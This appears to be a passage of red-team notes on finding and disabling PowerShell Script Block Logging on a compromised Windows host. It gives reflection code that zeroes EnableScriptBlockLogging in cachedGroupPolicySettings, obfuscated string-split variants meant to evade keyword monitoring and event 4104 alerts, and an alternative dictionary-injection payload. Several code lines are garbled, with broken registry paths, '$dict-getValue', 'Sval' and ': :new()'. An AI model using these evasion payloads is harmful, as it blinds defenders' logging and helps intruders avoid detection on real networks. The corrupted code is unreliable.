PowerShell Script Block Logging
- Identify
From GPO Report (gpresult -h gpo.html in PowerView section) we notice that PowerShell Script Block Logging is turned on. Logs are rarely centralized to a single location. We can see this by searching the process list (extracted prevously, PowerView section) for processses related to things like audit and policy:
grep -Ei "log|audit|policy" process_list.txt
- Neutering
[console]
[Console]::WriteLine("static method WriteLine")
[ref].Assembly
[ref].Assembly.GetType('System.Management.Automation.Utils')
$dict = $utils.GetField("cachedGroupPolicySettings", "NonPublic,Static")
$dict
$dict.getValue("")
There we can spot EnableScriptBlockLogging set to 1, a key we must change to 0.
$key = "HKEY_LOCAL _MACHINE\Software\Policies\Microsoft \Windows\PowerShell\ScriptBlockLogging"
$scriptBlockLogging = $dict.getValue("")[$key]
$scriptBlockLogging['EnableScriptBlockLogging'] = 0
- Bypass String Matches
When executing this script on the target machine, we need not worry about ATA, since these commands do not involve any network communication with the domain controller. ORadar, on the other hand, still poses a real threat. This bypass command line is executed right before Script Block Logging is disabled, which means that it will inevitably be logged as a Warning under event 4104.
So we need to apply obfuscation techniques to bypass keyword monitoring:
$utils = [ref].Assembly.GetType('System.Management.Automation.Utils')
$dict = $utils. ("Ge"+"t`F`ield")('cachedGroupPolicySettings', 'NonP' +'ublic,Static')
$key = "HKEY LOCAL MACHINE\ Software Policies \Microsoft\ Windows \PowerShell\ScriptBl"+"ockLogging"
$dict-getValue("")[$key]['EnableS'+'criptBlockLogging'] = 0
In some Windows machines, the EnableScriptBlockLogging dictionary key is not found in cacheGroupPolicySettings even though is enabled, in this case, the alternative payload becomes:
$GPF = [ref].Assembly.GetType('System.Management .Automation.Utils').
"GetF`Ield" ('cachedGroupPolicySettings', 'NonP'+'ublic,Static')
$GPS = $GPF.GetValue($null)
# Create a new Dictionary object
$val = [System.Collections.Generic.Dictionary[string, System.Object]]: :new()
# Populate the dictionary
$val.Add('EnableScriptB'+'lockLogging',0)
Sval.Add('EnableScriptB'+'lockInvocationLogging', 0)
$GPS[ 'HKEY LOCAL MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
Last updated